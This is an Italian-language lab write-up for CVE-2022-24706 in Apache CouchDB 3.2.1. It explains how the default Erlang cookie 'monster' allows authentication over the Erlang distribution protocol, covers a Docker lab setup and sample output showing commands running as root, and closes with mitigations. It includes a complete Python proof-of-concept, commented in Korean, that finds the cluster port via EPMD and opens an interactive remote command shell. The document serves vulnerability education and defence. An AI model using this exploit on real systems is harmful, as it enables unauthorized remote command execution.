
Exploit proof-of-concept per CVE-2022-24706 che colpisce Apache CouchDB 3.2.1 e versioni precedenti. Dimostra l'esecuzione remota di comandi tramite Erlang Distribution Protocol utilizzando l'autenticazione tramite cookie predefinita.
Contributori
Apache CouchDB è un database NoSQL open-source orientato ai documenti (Document-Oriented) implementato in Erlang.
Apache CouchDB, essendo sviluppato in Erlang, supporta nativamente il calcolo distribuito (clustering). I nodi del cluster comunicano tra loro utilizzando il protocollo di distribuzione Erlang/OTP, e attraverso questo protocollo è possibile eseguire comandi del sistema operativo (OS) con i permessi dell'utente che esegue CouchDB.
Per eseguire comandi del sistema operativo, è necessario conoscere la stringa di autenticazione (Secret Phrase) chiamata Cookie in Erlang. Nelle versioni di CouchDB 3.2.1 e precedenti, il valore predefinito del Cookie durante l'installazione è impostato su 'monster'. Un attaccante che conosce questo valore può superare l'autenticazione ed eseguire comandi del sistema operativo da remoto.
Riferimenti:
Per eseguire questa esercitazione, è necessario il seguente ambiente.
Su macOS basato su Apple Silicon (M1/M2/M3), potrebbero apparire avvisi relativi alla piattaforma dell'immagine. Nella maggior parte dei casi, Docker Desktop emula automaticamente le immagini amd64, quindi non sono necessarie azioni aggiuntive. Se il container non dovesse avviarsi correttamente, è possibile aggiungere l'opzione platform: linux/amd64 al servizio couchdb nel file docker-compose.yml.
Se Python 3 non è installato, è possibile installarlo con il comando seguente.
sudo apt update
sudo apt install -y python3
Eseguire il comando seguente per avviare l'ambiente Apache CouchDB 3.2.1.
docker compose up -d
Una volta avviato il servizio, sulla macchina target saranno aperti i seguenti 3 porte.
In un ambiente reale, la porta dell'interfaccia web (5984) e la porta del servizio EPMD (4369) sono fisse, ma la porta di comunicazione del cluster può cambiare ad ogni esecuzione. Pertanto, è possibile accedere al servizio EPMD per scoprire il numero di porta di comunicazione del cluster attualmente in uso.
Se Apache CouchDB è in esecuzione correttamente, è possibile visualizzare le informazioni sulla versione su http://target-ip:5984.

Questa vulnerabilità si verifica se vengono soddisfatte le seguenti condizioni.
monster).docker compose up -d
python3 poc.py target-ip 4369
Il PoC interroga il servizio EPMD per ottenere il numero di porta di comunicazione del cluster attuale, quindi utilizza il Cookie predefinito (monster) per autenticarsi al protocollo di distribuzione Erlang.
Una volta completata l'autenticazione, è possibile inserire un comando del sistema operativo desiderato per verificare l'esecuzione remota del comando.
#!/usr/local/bin/python3
# Python 기본 라이브러리
import socket
from hashlib import md5
import struct
import sys
import re
import time
# 대상 서버 및 기본 설정
TARGET = sys.argv[1]
EPMD_PORT = int(sys.argv[2]) # EPMD 기본 포트
COOKIE = "monster" # CouchDB 기본 Erlang Cookie
ERLNAG_PORT = 0
EPM_NAME_CMD = b"\x00\x01\x6e" # Erlang 노드 목록 요청 패킷
# Erlang 인증 및 제어 메시지
NAME_MSG = b"\x00\x15n\x00\x05\x00\x07\x49\x9cAAAAAA@AAAAAAA"
CHALLENGE_REPLY = b"\x00\x15r\x01\x02\x03\x04"
CTRL_DATA = b"\x83h\x04a\x06gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03"
CTRL_DATA += b"\x00\x00\x00\x00\x00w\x00w\x03rex"
# 사용자가 입력한 명령을 Erlang RPC 패킷으로 변환
def compile_cmd(CMD):
MSG = b"\x83h\x02gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03\x00\x00\x00"
MSG += b"\x00\x00h\x05w\x04callw\x02osw\x03cmdl\x00\x00\x00\x01k"
MSG += struct.pack(">H", len(CMD))
MSG += bytes(CMD, 'ascii')
MSG += b'jw\x04user'
PAYLOAD = b'\x70' + CTRL_DATA + MSG
PAYLOAD = struct.pack('!I', len(PAYLOAD)) + PAYLOAD
return PAYLOAD
print("Remote Command Execution via Erlang Distribution Protocol.\n")
# EPMD 서버에 접속하여 Erlang 노드 정보 획득
try:
epm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
epm_socket.connect((TARGET, EPMD_PORT))
except socket.error as msg:
print("Couldnt connect to EPMD: %s\n terminating program" % msg)
sys.exit(1)
# Erlang 노드 목록 요청
epm_socket.send(EPM_NAME_CMD)
# 정상 응답이면 노드 정보를 가져옴
if epm_socket.recv(4) == b'\x00\x00\x11\x11':
data = epm_socket.recv(1024)
data = data[0:len(data) - 1].decode('ascii')
data = data.split("\n")
if len(data) == 1:
choise = 1
print("Found " + data[0])
else:
print("\nMore than one node found, choose which one to use:")
line_number = 0
for line in data:
line_number += 1
print(" %d) %s" %(line_number, line))
choise = int(input("\n> "))
ERLNAG_PORT = int(re.search(r"\d+$",data[choise - 1])[0])
else:
print("Node list request error, exiting")
sys.exit(1)
epm_socket.close()
# Erlang 노드에 접속
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TARGET, ERLNAG_PORT))
except socket.error as msg:
print("Couldnt connect to Erlang server: %s\n terminating program" % msg)
sys.exit(1)
# Challenge 값 수신
s.send(NAME_MSG)
s.recv(5)
challenge = s.recv(1024)
print(challenge)
challenge = struct.unpack(">I", challenge[9:13])[0]
# Challenge 값을 이용하여 인증 정보 생성
CHALLENGE_REPLY += md5(bytes(COOKIE, "ascii")
+ bytes(str(challenge), "ascii")).digest()
# 인증 요청
s.send(CHALLENGE_REPLY)
CHALLENGE_RESPONSE = s.recv(1024)
# 인증 성공 여부 확인
if len(CHALLENGE_RESPONSE) == 0:
print("Authentication failed, exiting")
sys.exit(1)
print("Authentication successful")
print("Enter command:\n")
data_size = 0
# 사용자 명령을 입력받아 원격 CouchDB 노드에서 실행
while True:
if data_size <= 0:
CMD = input("> ")
if not CMD:
continue
elif CMD == "exit":
sys.exit(0)
s.send(compile_cmd(CMD))
data_size = struct.unpack(">I", s.recv(4))[0]
s.recv(45)
data_size -= 45
time.sleep(0.1)
elif data_size < 1024:
data = s.recv(data_size)
time.sleep(0.1)
print(data[3:].decode())
data_size = 0
else:
data = s.recv(1024)
time.sleep(0.1)
print(data[4:].decode())
data_size -= 1024
Come risultato dell'esecuzione del PoC, la porta di comunicazione del cluster viene correttamente identificata tramite il servizio EPMD e il messaggio Authentication successful conferma che l'autenticazione al protocollo di distribuzione Erlang è avvenuta con successo.
Successivamente, eseguendo il comando whoami si verifica che il comando viene eseguito con privilegi root, e con il comando id è possibile visualizzare le informazioni sull'utente e sui gruppi. Inoltre, il comando touch /tmp/success crea un file success nella directory /tmp del sistema target, e il comando ls /tmp ne conferma la creazione. Questo dimostra che i comandi del sistema operativo immessi vengono effettivamente eseguiti sul sistema target.

Al termine dell'esercitazione, eseguire il comando seguente per fermare i container Docker e la rete.
docker compose down
Aggiornamento all'ultima versione
Aggiornare Apache CouchDB alla versione 3.2.2 o successiva per risolvere il problema dell'uso del Cookie Erlang predefinito.
Modifica del Cookie Erlang predefinito
Non utilizzare il valore predefinito del Cookie (monster), ma cambiarlo con un valore casuale difficile da indovinare per prevenire bypass dell'autenticazione ed esecuzione remota di comandi.
Limitazione dell'accesso a EPMD e alla porta di comunicazione del cluster
Applicare firewall o policy di controllo accessi per garantire che EPMD (4369) e la porta di comunicazione del cluster siano accessibili solo da host fidati.
Disabilitazione della funzionalità Erlang Distribution non necessaria
In ambienti in cui non si utilizza il clustering, limitare l'accesso esterno alla funzionalità Erlang Distribution o ai servizi correlati per minimizzare le possibilità di attacco.